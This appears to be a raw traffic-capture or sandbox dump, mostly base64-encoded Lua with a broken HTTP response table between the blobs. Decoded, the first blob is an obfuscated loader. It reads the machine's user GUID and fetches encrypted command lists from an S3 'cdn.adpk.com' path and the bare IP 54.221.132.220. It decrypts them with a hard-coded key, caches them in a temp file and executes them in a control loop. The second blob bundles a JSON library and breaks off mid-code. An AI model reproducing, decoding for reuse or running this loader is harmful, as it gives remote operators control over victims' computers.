dHJ5KGUucGF0aCwiaW52YWxpZCBwYXRoICduaWwnIiksCnBhcmFtcz1lLnBhcmFtcywKcXVlcnk9
ZS5xdWVyeSwKZnJhZ21lbnQ9ZS5mcmFnbWVudAp9CmVuZApyZXR1cm4gaC5idWlsZChhKQplbmQK
bG9jYWwgZnVuY3Rpb24gcyh0KQpsb2NhbCBlPXQucHJveHkgb3IgUFJPWFkKaWYgZSB0aGVuCmU9
aC5wYXJzZShlKQpyZXR1cm4gZS5ob3N0LGUucG9ydCBvciAzMTI4CmVsc2UKcmV0dXJuIHQuaG9z
dCx0LnBvcnQKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiByKGUpCmxvY2FsIHQ9ewpbInVzZXItYWdl
bnQiXT1VU0VSQUdFTlQsClsiaG9zdCJdPWUuaG9zdCwKWyJjb25uZWN0aW9uIl09ImNsb3NlLCBU
RSIsClsidGUiXT0idHJhaWxlcnMiCn0KaWYgZS51c2VyIGFuZCBlLnBhc3N3b3JkIHRoZW4KdFsi
YXV0aG9yaXphdGlvbiJdPQoiQmFzaWMgIi4uKGwuYjY0KGUudXNlci4uIjoiLi5lLnBhc3N3b3Jk
KSkKZW5kCmZvciBhLGUgaW4gYS5wYWlycyhlLmhlYWRlcnMgb3IgdClkbwp0W28ubG93ZXIoYSld
PWUKZW5kCnJldHVybiB0CmVuZApsb2NhbCBlPXsKaG9zdD0iIiwKcG9ydD1QT1JULApwYXRoPSIv
IiwKc2NoZW1lPSJodHRwIgp9CmxvY2FsIGZ1bmN0aW9uIHUobykKbG9jYWwgZT1vLnVybCBhbmQg
aC5wYXJzZShvLnVybCxlKW9ye30KZm9yIHQsYSBpbiBhLnBhaXJzKG8pZG8gZVt0XT1hIGVuZApp
ZiBlLnBvcnQ9PSIidGhlbiBlLnBvcnQ9ODAgZW5kCnQudHJ5KGUuaG9zdCBhbmQgZS5ob3N0fj0i
IiwKImludmFsaWQgaG9zdCAnIi4uYS50b3N0cmluZyhlLmhvc3QpLi4iJyIpCmUudXJpPW8udXJp
IG9yIG4oZSkKZS5ob3N0LGUucG9ydD1zKGUpCmUuaGVhZGVycz1yKGUpCnJldHVybiBlCmVuZAps
b2NhbCBmdW5jdGlvbiBsKGUsYSx0KQpyZXR1cm4gdC5sb2NhdGlvbiBhbmQKby5nc3ViKHQubG9j
YXRpb24sIiVzIiwiIil+PSIiYW5kCihlLnJlZGlyZWN0fj1mYWxzZSlhbmQKKGE9PTMwMSBvciBh
PT0zMDIpYW5kCihub3QgZS5tZXRob2Qgb3IgZS5tZXRob2Q9PSJHRVQib3IgZS5tZXRob2Q9PSJI
RUFEIikKYW5kKG5vdCBlLm5yZWRpcmVjdHMgb3IgZS5ucmVkaXJlY3RzPDUpCmVuZApsb2NhbCBm
dW5jdGlvbiByKHQsZSkKaWYgdC5tZXRob2Q9PSJIRUFEInRoZW4gcmV0dXJuIG5pbCBlbmQKaWYg
ZT09MjA0IG9yIGU9PTMwNCB0aGVuIHJldHVybiBuaWwgZW5kCmlmIGU+PTEwMCBhbmQgZTwyMDAg
dGhlbiByZXR1cm4gbmlsIGVuZApyZXR1cm4gMQplbmQKbG9jYWwgbixzCmZ1bmN0aW9uIHMoZSx0
KQpsb2NhbCBpLGEsZSxvPW57CnVybD1oLmFic29sdXRlKGUudXJsLHQpLApzb3VyY2U9ZS5zb3Vy
Y2UsCnNpbms9ZS5zaW5rLApoZWFkZXJzPWUuaGVhZGVycywKcHJveHk9ZS5wcm94eSwKbnJlZGly
ZWN0cz0oZS5ucmVkaXJlY3RzIG9yIDApKzEsCmNyZWF0ZT1lLmNyZWF0ZQp9CmU9ZSBvcnt9CmUu
bG9jYXRpb249ZS5sb2NhdGlvbiBvciB0CnJldHVybiBpLGEsZSxvCmVuZApmdW5jdGlvbiBuKG4p
CmxvY2FsIGU9dShuKQpsb2NhbCB0PW9wZW4oZS5ob3N0LGUucG9ydCxlLmNyZWF0ZSkKdDpzZW5k
cmVxdWVzdGxpbmUoZS5tZXRob2QsZS51cmkpCnQ6c2VuZGhlYWRlcnMoZS5oZWFkZXJzKQppZiBl
LnNvdXJjZSB0aGVuCnQ6c2VuZGJvZHkoZS5oZWFkZXJzLGUuc291cmNlLGUuc3RlcCkKZW5kCmxv
Y2FsIGEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKaWYgbm90IGEgdGhlbgp0OnJlY2VpdmUwOWJv
ZHkoaSxlLnNpbmssZS5zdGVwKQpyZXR1cm4gMSwyMDAKZW5kCmxvY2FsIG8Kd2hpbGUgYT09MTAw
IGRvCm89dDpyZWNlaXZlaGVhZGVycygpCmEsaT10OnJlY2VpdmVzdGF0dXNsaW5lKCkKZW5kCm89
dDpyZWNlaXZlaGVhZGVycygpCmlmIGwoZSxhLG8pYW5kIG5vdCBlLnNvdXJjZSB0aGVuCnQ6Y2xv
c2UoKQpyZXR1cm4gcyhuLG8ubG9jYXRpb24pCmVuZAppZiByKGUsYSl0aGVuCnQ6cmVjZWl2ZWJv
ZHkobyxlLnNpbmssZS5zdGVwKQplbmQKdDpjbG9zZSgpCnJldHVybiAxLGEsbyxpCmVuZApsb2Nh
bCBmdW5jdGlvbiBoKGUsYSkKbG9jYWwgcz17fQpsb2NhbCBlPXsKdXJsPWUsCnNpbms9aS5zaW5r
LnRhYmxlKHMpCn0KaWYgYSB0aGVuCmUuc291cmNlPWkuc291cmNlLnN0cmluZyhhKQplLmhlYWRl
cnM9ewpbImNvbnRlbnQtbGVuZ3RoIl09by5sZW4oYSksClsiY29udGVudC10eXBlIl09ImFwcGxp
Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIKfQplLm1ldGhvZD0iUE9TVCIKZW5kCmxvY2Fs
IGUsYSx0PXQuc2tpcCgxLG4oZSkpCnJldHVybiBkLmNvbmNhdChzKSxlLGEsdAplbmQKcmVxdWVz
dD10LnByb3RlY3QoZnVuY3Rpb24oZSx0KQppZiBhLnR5cGUoZSk9PSJzdHJpbmcidGhlbiByZXR1
cm4gaChlLHQpCmVsc2UgcmV0dXJuIG4oZSllbmQKZW5kKQplbmQpCmxvY2FsIGU9cmVxdWlyZSgi
c29ja2V0Lmh0dHAiKTsKbG9jYWwgZT1yZXF1aXJlKCJjb21tb24iKTsKSlNPTj1yZXF1aXJlKCJK
U09OIik7CmU9ZS5uZXcoKTsKbG9jYWwgdD0oR2V0VXNlckd1aWQpYW5kIEdldFVzZXJHdWlkKClv
ciIiOwp0PXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDks
MTIpLHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKbG9jYWwgaT0oQ2hlY2tB
cmcpYW5kIENoZWNrQXJnKCJzb3VyY2UiKW9yIiI7CmxvY2FsIGE9KENoZWNrQXJnKWFuZCBDaGVj
a0FyZygib3B0aW9ucyIpb3IiIjsKbG9jYWwgcz0oYTpzdWIoNSw1KT09IjEiKWFuZCJwcm9kdWN0
aW9uIm9yImRldmVsb3BtZW50IjsKbG9jYWwgbz0oYX49IiIpYW5kIHN0cmluZy5mb3JtYXQoIiVz
IixhOnN1Yig4LDEwKSlvciI5OTkiOwpsb2NhbCBjPXRydWU7CmxvY2FsIG49IiI7CmxvY2FsIG89
c3RyaW5nLmZvcm1hdCgiaHR0cDovL3MzLmFtYXpvbmF3cy5jb20vY2RuLmFkcGsuY29tLyVzLyVz
L2NvbW1hbmRzLmRhdD9nPSVzJnM9JXMiLG8sYTpzdWIoNSw1KSxzdHJpbmcudXBwZXIodCksaSk7
CmxvY2FsIG49b3MudGltZSgpLTcwMDsKbG9jYWwgYT0iNmM2MTcxNzU2MTZlNjQ2MTc3NjE3NDZi
Njk2ZTczNzI2NTZkNmY3NDY1NjQ2MjBhIjsKbG9jYWwgaD0iMSI7CmxvY2FsIHQ9c3RyaW5nLmZv
cm1hdCgiaHR0cDovLzU0LjIyMS4xMzIuMjIwL2V1Lmpzb24/Zz0lcyZzPSVzIixzdHJpbmcudXBw
ZXIodCksaSk7CmlmIEdldFRpbWVMYXN0Q21kfj1uaWwgdGhlbgpuPUdldFRpbWVMYXN0Q21kKCk7
CmlmIG49PTAgdGhlbgpTZXRUaW1lTGFzdENtZChvcy50aW1lKCkpOwplbmQKZW5kCmUuZGVidWco
c3RyaW5nLmZvcm1hdCgiPT09PT09PT09PT09PT09PT09PT09PT09PSBWRVJTSU9OICVzICVzICVz
ID09PT09PT09PT09PT09PT09PT09PT09PT0iLEdldFZlcnNpb24oKSxzLG9zLnRpbWUoKS1uKSk7
CmZ1bmN0aW9uIEpTT046b25EZWNvZGVFcnJvcihhLHQsbyxpKQplLmRlYnVnKHN0cmluZy5mb3Jt
YXQoIkpTT04gRGVjb2RlIEVycm9yIE1lc3NhZ2U6ICVzICVzICVzIixhLG8sdCkpOwplbmQKaWYo
b3MudGltZSgpLW4pPjYwMCB0aGVuCmxvY2FsIGksdD1lLmdldGJ5aHR0cCh0KTsKaWYgU2V0VGlt
ZUxhc3RDbWR+PW5pbCB0aGVuClNldFRpbWVMYXN0Q21kKG9zLnRpbWUoKSk7CmVuZAppZiBzdHJp
bmcuZmluZCh0LCJodG1sIilvciBzdHJpbmcuZmluZCh0LCJzdGF0dXMiKW9yIHQ9PW5pbCBvciB0
PT0iInRoZW4KaSxzUmVtb3RlREI9ZS5nZXRieWh0dHAobyk7CmlmIHNSZW1vdGVEQn49bmlsIHRo
ZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgKCVzKSByZXRyaWV2ZWQg
ZnJvbSAlcyBzdWNjZXNzZnVsbHkiLCNzUmVtb3RlREIsbykpOwpzUmVtb3RlREI9KEVuY3J5cHQp
YW5kIEVuY3J5cHQoc1JlbW90ZURCLGEpb3IgZS5lbmNyeXB0KHNSZW1vdGVEQixhKTsKbG9jYWwg
ZT1KU09OOmRlY29kZShzUmVtb3RlREIpOwpyZW1vdGVkYl9qc29uPWU7CmVsc2UKZS5kZWJ1Zyhz
dHJpbmcuZm9ybWF0KCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gJXMgdW5zdWNjZXNz
ZnVsbHkiLG8pKTsKZW5kCmVsc2UKaWYgc1JlbW90ZURCPT1uaWwgdGhlbgpyZXR1cm4gZmFsc2U7
CmVsc2UKc1JlbW90ZURCPShFbmNyeXB0KWFuZCBFbmNyeXB0KHNSZW1vdGVEQixhKW9yIGUuZW5j
cnlwdChzUmVtb3RlREIsYSk7CmxvY2FsIHQ9SlNPTjpkZWNvZGUoc1JlbW90ZURCKTsKcmVtb3Rl
ZGJfanNvbj10OwplLmRlYnVnKCJSZW1vdGUgY29tbWFuZHMgcmV0cmlldmVkIGZyb20gZXhjZXB0
aW9ucyBzdWNjZXNzZnVsbHkiKTsKZW5kCmVuZAplbmQKbG9jYWwgdDsKaWYgR2V0Q29tbWFuZHN+
PW5pbCB0aGVuCnQ9R2V0Q29tbWFuZHMoKTsKZWxzZQp0PWUucmVhZGZpbGUoc3RyaW5nLmZvcm1h
dCgiJXNscXdkYi5kYXQiLGUudGVtcHBhdGgoKSkpOwplbmQKbG9jYWwgYT0iIjsKaWYgdH49bmls
IHRoZW4KdD0oRW5jcnlwdClhbmQgRW5jcnlwdCh0LCJsYXF1YW5kYSB3YXRraW5zIilvciBlLmVu
Y3J5cHQodCwibGFxdWFuZGEgd2F0a2lucyIpOwphPUpTT046ZGVjb2RlKHQpOwplbHNlCmE9cmVt
b3RlZGJfanNvbjsKZW5kCmlmIHQ9PW5pbCB0aGVuCmlmIHR5cGUoYSk9PSJ0YWJsZSJ0aGVuCmUu
c2F2ZWRiKEpTT046ZW5jb2RlKGEpKTsKZWxzZQpyZXR1cm4gZmFsc2U7CmVuZAplbmQKbG9jYWwg
aT17fTsKaWYgYX49bmlsIGFuZCByZW1vdGVkYl9qc29ufj1uaWwgdGhlbgpmb3IgdCxlIGluIHBh
aXJzKGEpZG8KbG9jYWwgYT1mYWxzZTsKZm9yIG8sdCBpbiBwYWlycyhyZW1vdGVkYl9qc29uKWRv
CmlmIGVbImhhc2giXT09dFsiaGFzaCJddGhlbgpsb2NhbCBvPShlWyJyZXN1bHQiXX49bmlsKWFu
ZCBlWyJyZXN1bHQiXW9yIG5pbDsKaWYgZVsiZGF0ZSJdfj1uaWwgdGhlbgpsb2NhbCBhPWVbImRh
dGUiXTsKbG9jYWwgaT1lWyJzdGF0dXMiXTsKZT10OwplWyJzdGF0dXMiXT1pOwplWyJkYXRlIl09
YTsKZVsicmVzdWx0Il09bzsKZWxzZQplPXQ7CmVbInJlc3VsdCJdPW87CmVuZAphPXRydWU7CmVu
ZAplbmQKaWYgYSB0aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmZvciB0LGUgaW4gcGFp
cnMocmVtb3RlZGJfanNvbilkbwpsb2NhbCB0PWZhbHNlOwpmb3IgbyxhIGluIHBhaXJzKGEpZG8K
aWYgZVsiaGFzaCJdPT1hWyJoYXNoIl10aGVuCnQ9dHJ1ZTsKZW5kCmVuZAppZiB0PT1mYWxzZSB0
aGVuCnRhYmxlLmluc2VydChpLGUpOwplbmQKZW5kCmE9ZS5zaGFsbG93Y29weShpKTsKaT17fTsK
ZW5kCnRhYmxlLnNvcnQoYSxmdW5jdGlvbih0LGUpcmV0dXJuIHRvbnVtYmVyKHQub3JkZXIpPHRv
bnVtYmVyKGUub3JkZXIpO2VuZCk7CmxvY2FsIHI9dHJ1ZTsKbG9jYWwgaD10cnVlOwpsb2NhbCBk
PWZhbHNlOwpsb2NhbCBsPXt9Owpsb2NhbCBvPTA7CmxvY2FsIHM9e307CmZ1bmN0aW9uIGRvR290
byhlLHQpCmZvciBhLGUgaW4gcGFpcnMoYSlkbwppZiB0PD10b251bWJlcihlWyJvcmRlciJdKXRo
ZW4KZVsic3RhdHVzIl09IjAiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uaWw7
CmVsc2VpZiB0PnRvbnVtYmVyKGVbIm9yZGVyIl0pdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRh
dGUiXT1vcy50aW1lKCk7CmVuZAplbmQKZW5kCndoaWxlKGgpZG8KaT17fTsKaD1mYWxzZTsKZm9y
IHUsdCBpbiBwYWlycyhhKWRvCmlmIG8+MCB0aGVuCmRvR290byhhLG8pOwppZiBvPT10b251bWJl
cih0WyJvcmRlciJdKXRoZW4Kbz0wOwplbHNlCnRbInN0YXR1cyJdPSIxIjsKZW5kCmVuZApsb2Nh
bCB1PSh0WyJzdGF0dXMiXX49bmlsKWFuZCB0WyJzdGF0dXMiXW9yIjAiOwplLmRlYnVnKHN0cmlu
Zy5mb3JtYXQoIiMlcy0lcy4gJXMgJXMgU3RhdHVzOiAlcyBMb29wOiAlcyBHbzogJXMiLHRbIm9y
ZGVyIl0sbyx0WyJ0eHRjbWQiXSx0WyJ0eHRkbyJdLHUsdG9zdHJpbmcociksdG9zdHJpbmcoaCkp
KTsKaWYgdT09IjAiYW5kIHIgdGhlbgplLmRlYnVnKCJJbnNpZGUgTWFpbiBMb29wIik7CmlmIHRb
InR4dGRvIl09PSJHb3RvInRoZW4KZS5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJHb3RvIGNvbW1hbmQ6
ICVzIix0WyJ0eHRXaGF0Il0pKTsKbG9jYWwgZT10b251bWJlcih0WyJ0eHRXaGF0Il0pOwppZiBl
PjAgdGhlbgpkb0dvdG8oYSxlKTsKZG9Hb3RvKGksZSk7Cm89ZTsKZW5kCmVsc2UKZS5zZXRyZXN1
bHRzKGwpOwp0LGQ9ZS5jb21tYW5kKHQpOwppZiB0WyJ0eHRjbWQiXT09IklmInRoZW4KaWYgdFsi
dHh0V2hhdFRoZW4iXT09IkdvdG8ib3IgdFsidHh0V2hhdEVsc2UiXT09IkdvdG8idGhlbgpsb2Nh
bCBuPWUuc3BsaXQodFsidHh0R290byJdLCIsIik7CmxvY2FsIHM9KG5bMV1+PW5pbClhbmQgdG9u
dW1iZXIoblsxXSlvciAwOwpsb2NhbCBuPShuWzJdfj1uaWwpYW5kIHRvbnVtYmVyKG5bMl0pb3Ig
MDsKbG9jYWwgdD0odFsicmVzdWx0Il09PSIxIilhbmQgcyBvciBuOwppZiB0PjAgdGhlbgplLmRl
YnVnKHN0cmluZy5mb3JtYXQoIkdvdG8gQ29tbWFuZDogIyVzIix0KSk7CmRvR290byhhLHQpOwpk
b0dvdG8oaSx0KTsKbz10OwplbmQKZW5kCmVuZAplbmQKaWYgZD09dHJ1ZSB0aGVuCmQ9ZmFsc2U7
CnI9dHJ1ZTsKZWxzZQpyPWZhbHNlOwplbmQKZW5kCmlmIHRbInJlc3VsdCJdfj1uaWwgdGhlbgps
W3RbIm9yZGVyIl1dPXRbInJlc3VsdCJdOwplbHNlCmxbdFsib3JkZXIiXV09IiI7CmVuZAppZiBv
PjAgdGhlbgpoPXRydWU7CnNbb109KHNbb10pYW5kIHNbb10rMSBvciAxOwppZiBzW29dPjIwIHRo
ZW4Kbj1uLTk5OTk5OwplLmRlYnVnKHN0cmluZy5mb3JtYXQoIkxvb3AgT3ZlcmZsb3c6ICVzICVz
ICVzOiVzIixvcy50aW1lKCksbixvLHNbb10pKTsKU2V0VGltZUxhc3RDbWQoMCk7CmJyZWFrOwpl
bmQKZW5kCnRhYmxlLmluc2VydChpLHQpOwplbmQKaWYgR2V0VGltZUxhc3RDbWQgdGhlbgppZiBo
IGFuZCBHZXRUaW1lTGFzdENtZCgpPjAgdGhlbgpyPXRydWU7CmVuZAplbmQKZS5zYXZlZGIoSlNP
TjplbmNvZGUoaSkpOwphPWUuc2hhbGxvd2NvcHkoaSk7CmVuZApyZXR1cm4gYzs=
|
d214gtxr0n6ti0.cloudfront.net (54.230.131.131:80) | ||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
ID | URI | RESPONSE TYPE | FILENAME | RESPONSE CODE | MAGIC | SIZE | TIME | |||||||||||||||
6 | /v2/tfn5306351516.html(5) | text/html | tfn5306351516.html(5) | 200 OK | TEXT | 46.2 KB | 12/12/06 19:48:58 | |||||||||||||||
IyEvdXNyL2Jpbi9lbnYgbHVhCnBhY2thZ2UucHJlbG9hZFsnSlNPTiddPShmdW5jdGlvbiguLi4p
CmxvY2FsIGU9MjAxNDA0MTguMTEKbG9jYWwgdD17VkVSU0lPTj1lfQpsb2NhbCBlPSItWyBKU09O
Lmx1YSBwYWNrYWdlIGJ5IEplZmZyZXkgRnJpZWRsIChodHRwOi8vcmVnZXguaW5mby9ibG9nL2x1
YS9qc29uKSwgdmVyc2lvbiAiLi50b3N0cmluZyhlKS4uIiBdLSIKbG9jYWwgYT17X190b3N0cmlu
Zz1mdW5jdGlvbigpcmV0dXJuIkpTT04gYXJyYXkiZW5kfWEuX19pbmRleD1hCmxvY2FsIGU9e19f
dG9zdHJpbmc9ZnVuY3Rpb24oKXJldHVybiJKU09OIG9iamVjdCJlbmR9ZS5fX2luZGV4PWUKZnVu
Y3Rpb24gdDpuZXdBcnJheShlKQpyZXR1cm4gc2V0bWV0YXRhYmxlKGUgb3J7fSxhKQplbmQKZnVu
Y3Rpb24gdDpuZXdPYmplY3QodCkKcmV0dXJuIHNldG1ldGF0YWJsZSh0IG9ye30sZSkKZW5kCmxv
Y2FsIGZ1bmN0aW9uIHIoZSkKaWYgZTw9MTI3IHRoZW4KcmV0dXJuIHN0cmluZy5jaGFyKGUpCmVs
c2VpZiBlPD0yMDQ3IHRoZW4KbG9jYWwgdD1tYXRoLmZsb29yKGUvNjQpCmxvY2FsIGU9ZS0oNjQq
dCkKcmV0dXJuIHN0cmluZy5jaGFyKDE5Mit0LAoxMjgrZSkKZWxzZWlmIGU8PTY1NTM1IHRoZW4K
bG9jYWwgdD1tYXRoLmZsb29yKGUvNDA5NikKbG9jYWwgYT1lLTQwOTYqdApsb2NhbCBlPW1hdGgu
Zmxvb3IoYS82NCkKbG9jYWwgYT1hLTY0KmUKdD0yMjQrdAplPTEyOCtlCmE9MTI4K2EKaWYodD09
MjI0IGFuZCBlPDE2MClvcgoodD09MjM3IGFuZCBlPjE1OSlvcgoodD09MjQwIGFuZCBlPDE0NClv
cgoodD09MjQ0IGFuZCBlPjE0MykKdGhlbgpyZXR1cm4iPyIKZWxzZQpyZXR1cm4gc3RyaW5nLmNo
YXIodCwKZSwKYSkKZW5kCmVsc2UKbG9jYWwgdD1tYXRoLmZsb29yKGUvMjYyMTQ0KQpsb2NhbCBl
PWUtMjYyMTQ0KnQKbG9jYWwgYT1tYXRoLmZsb29yKGUvNDA5NikKZT1lLTQwOTYqYQpsb2NhbCBv
PW1hdGguZmxvb3IoZS82NCkKbG9jYWwgZT1lLTY0Km8KcmV0dXJuIHN0cmluZy5jaGFyKDI0MCt0
LAoxMjgrYSwKMTI4K28sCjEyOCtlKQplbmQKZW5kCmZ1bmN0aW9uIHQ6b25EZWNvZGVFcnJvcihl
LGEsaSxvKQppZiBhIHRoZW4KaWYgaSB0aGVuCmU9c3RyaW5nLmZvcm1hdCgiJXMgYXQgY2hhciAl
ZCBvZjogJXMiLGUsaSxhKQplbHNlCmU9c3RyaW5nLmZvcm1hdCgiJXM6ICVzIixlLGEpCmVuZApl
bmQKaWYgb349bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShvKS4uIikiCmVuZAppZiBzZWxm
LmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVu
ZAplbmQKdC5vbkRlY29kZU9mTmlsRXJyb3I9dC5vbkRlY29kZUVycm9yCnQub25EZWNvZGVPZkhU
TUxFcnJvcj10Lm9uRGVjb2RlRXJyb3IKZnVuY3Rpb24gdDpvbkVuY29kZUVycm9yKGUsYSkKaWYg
YX49bmlsIHRoZW4KZT1lLi4iICgiLi50OmVuY29kZShhKS4uIikiCmVuZAppZiBzZWxmLmFzc2Vy
dCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZhbHNlLGUpCmVuZAplbmQK
bG9jYWwgZnVuY3Rpb24gbChuLHQsYSxpKQpsb2NhbCBvPXQ6bWF0Y2goJ14tP1sxLTldJWQqJyxh
KQpvciB0Om1hdGNoKCJeLT8wIixhKQppZiBub3QgbyB0aGVuCm46b25EZWNvZGVFcnJvcigiZXhw
ZWN0ZWQgbnVtYmVyIix0LGEsaSkKZW5kCmxvY2FsIGU9YStvOmxlbigpCmxvY2FsIHM9dDptYXRj
aCgnXiUuJWQrJyxlKW9yIiIKZT1lK3M6bGVuKCkKbG9jYWwgaD10Om1hdGNoKCdeW2VFXVstK10/
JWQrJyxlKW9yIiIKZT1lK2g6bGVuKCkKbG9jYWwgbz1vLi5zLi5oCmxvY2FsIG89dG9udW1iZXIo
bykKaWYgbm90IG8gdGhlbgpuOm9uRGVjb2RlRXJyb3IoImJhZCBudW1iZXIiLHQsYSxpKQplbmQK
cmV0dXJuIG8sZQplbmQKbG9jYWwgZnVuY3Rpb24gZChuLGEsaSxzKQppZiBhOnN1YihpLGkpfj0n
Iid0aGVuCm46b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgc3RyaW5nJ3Mgb3BlbmluZyBxdW90ZSIs
YSxpLHMpCmVuZApsb2NhbCBlPWkrMQpsb2NhbCBvPWE6bGVuKCkKbG9jYWwgdD0iIgp3aGlsZSBl
PD1vIGRvCmxvY2FsIG89YTpzdWIoZSxlKQppZiBvPT0nIid0aGVuCnJldHVybiB0LGUrMQplbmQK
aWYgb349J1xcJ3RoZW4KdD10Li5vCmU9ZSsxCmVsc2VpZiBhOm1hdGNoKCdeXFxiJyxlKXRoZW4K
dD10Li4iXGIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxmJyxlKXRoZW4KdD10Li4iXGYiCmU9
ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFxuJyxlKXRoZW4KdD10Li4iXG4iCmU9ZSsyCmVsc2VpZiBh
Om1hdGNoKCdeXFxyJyxlKXRoZW4KdD10Li4iXHIiCmU9ZSsyCmVsc2VpZiBhOm1hdGNoKCdeXFx0
JyxlKXRoZW4KdD10Li4iXHQiCmU9ZSsyCmVsc2UKbG9jYWwgbz1hOm1hdGNoKCdeXFx1KFswMTIz
NDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVswMTIzNDU2Nzg5YUFi
QmNDZERlRWZGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIG8gdGhlbgplPWUrNgps
b2NhbCBvPXRvbnVtYmVyKG8sMTYpCmlmIG8+PTU1Mjk2IGFuZCBvPD01NjMxOSB0aGVuCmxvY2Fs
IHQ9YTptYXRjaCgnXlxcdShbZERdW2NkZWZDREVGXVswMTIzNDU2Nzg5YUFiQmNDZERlRWZGXVsw
MTIzNDU2Nzg5YUFiQmNDZERlRWZGXSknLGUpCmlmIHQgdGhlbgplPWUrNgpvPTkyMTYrKG8tNTUy
OTYpKjEwMjQrdG9udW1iZXIodCwxNikKZWxzZQplbmQKZW5kCnQ9dC4ucihvKQplbHNlCnQ9dC4u
YTptYXRjaCgnXlxcKC4pJyxlKQplPWUrMgplbmQKZW5kCmVuZApuOm9uRGVjb2RlRXJyb3IoInVu
Y2xvc2VkIHN0cmluZyIsYSxpLHMpCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUsdCkKbG9jYWwgYSxl
PWU6ZmluZCgiXlsgXG5cclx0XSsiLHQpCmlmIGUgdGhlbgpyZXR1cm4gZSsxCmVsc2UKcmV0dXJu
IHQKZW5kCmVuZApsb2NhbCBzCmxvY2FsIGZ1bmN0aW9uIHUobyx0LGksbikKaWYgbm90IHQ6c3Vi
KGksaSk9PSd7J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCAneyciLHQsaSxuKQplbmQK
bG9jYWwgZT1hKHQsaSsxKQpsb2NhbCBoPW8uc3RyaWN0VHlwZXMgYW5kIG86bmV3T2JqZWN0e31v
cnt9CmlmIHQ6c3ViKGUsZSk9PSd9J3RoZW4KcmV0dXJuIGgsZSsxCmVuZApsb2NhbCByPXQ6bGVu
KCkKd2hpbGUgZTw9ciBkbwpsb2NhbCByLGk9ZChvLHQsZSxuKQplPWEodCxpKQppZiB0OnN1Yihl
LGUpfj0nOid0aGVuCm86b25EZWNvZGVFcnJvcigiZXhwZWN0ZWQgY29sb24iLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQpsb2NhbCBpLHM9cyhvLHQsZSkKaFtyXT1pCmU9YSh0LHMpCmxvY2FsIGk9dDpz
dWIoZSxlKQppZiBpPT0nfSd0aGVuCnJldHVybiBoLGUrMQplbmQKaWYgdDpzdWIoZSxlKX49Jywn
dGhlbgpvOm9uRGVjb2RlRXJyb3IoImV4cGVjdGVkIGNvbW1hIG9yICd9JyIsdCxlLG4pCmVuZApl
PWEodCxlKzEpCmVuZApvOm9uRGVjb2RlRXJyb3IoInVuY2xvc2VkICd7JyIsdCxpLG4pCmVuZAps
b2NhbCBmdW5jdGlvbiBjKG8sdCxpLG4pCmlmIG5vdCB0OnN1YihpLGkpPT0nWyd0aGVuCm86b25E
ZWNvZGVFcnJvcigiZXhwZWN0ZWQgJ1snIix0LGksbikKZW5kCmxvY2FsIGU9YSh0LGkrMSkKbG9j
YWwgcj1vLnN0cmljdFR5cGVzIGFuZCBvOm5ld0FycmF5e31vcnt9CmlmIHQ6c3ViKGUsZSk9PSdd
J3RoZW4KcmV0dXJuIHIsZSsxCmVuZApsb2NhbCBoPTEKbG9jYWwgZD10OmxlbigpCndoaWxlIGU8
PWQgZG8KbG9jYWwgcyxpPXMobyx0LGUpCnJbaF09cwpoPWgrMQplPWEodCxpKQpsb2NhbCBpPXQ6
c3ViKGUsZSkKaWYgaT09J10ndGhlbgpyZXR1cm4gcixlKzEKZW5kCmlmIHQ6c3ViKGUsZSl+PScs
J3RoZW4KbzpvbkRlY29kZUVycm9yKCJleHBlY3RlZCBjb21tYSBvciAnWyciLHQsZSxuKQplbmQK
ZT1hKHQsZSsxKQplbmQKbzpvbkRlY29kZUVycm9yKCJ1bmNsb3NlZCAnWyciLHQsaSxuKQplbmQK
cz1mdW5jdGlvbihpLHQsZSxvKQplPWEodCxlKQppZiBlPnQ6bGVuKCl0aGVuCmk6b25EZWNvZGVF
cnJvcigidW5leHBlY3RlZCBlbmQgb2Ygc3RyaW5nIix0LG5pbCxvKQplbmQKaWYgdDpmaW5kKCde
IicsZSl0aGVuCnJldHVybiBkKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ15bLTAxMjM0NTY3ODkg
XScsZSl0aGVuCnJldHVybiBsKGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14leycsZSl0aGVuCnJl
dHVybiB1KGksdCxlLG8pCmVsc2VpZiB0OmZpbmQoJ14lWycsZSl0aGVuCnJldHVybiBjKGksdCxl
LG8pCmVsc2VpZiB0OmZpbmQoJ150cnVlJyxlKXRoZW4KcmV0dXJuIHRydWUsZSs0CmVsc2VpZiB0
OmZpbmQoJ15mYWxzZScsZSl0aGVuCnJldHVybiBmYWxzZSxlKzUKZWxzZWlmIHQ6ZmluZCgnXm51
bGwnLGUpdGhlbgpyZXR1cm4gbmlsLGUrNAplbHNlCmk6b25EZWNvZGVFcnJvcigiY2FuJ3QgcGFy
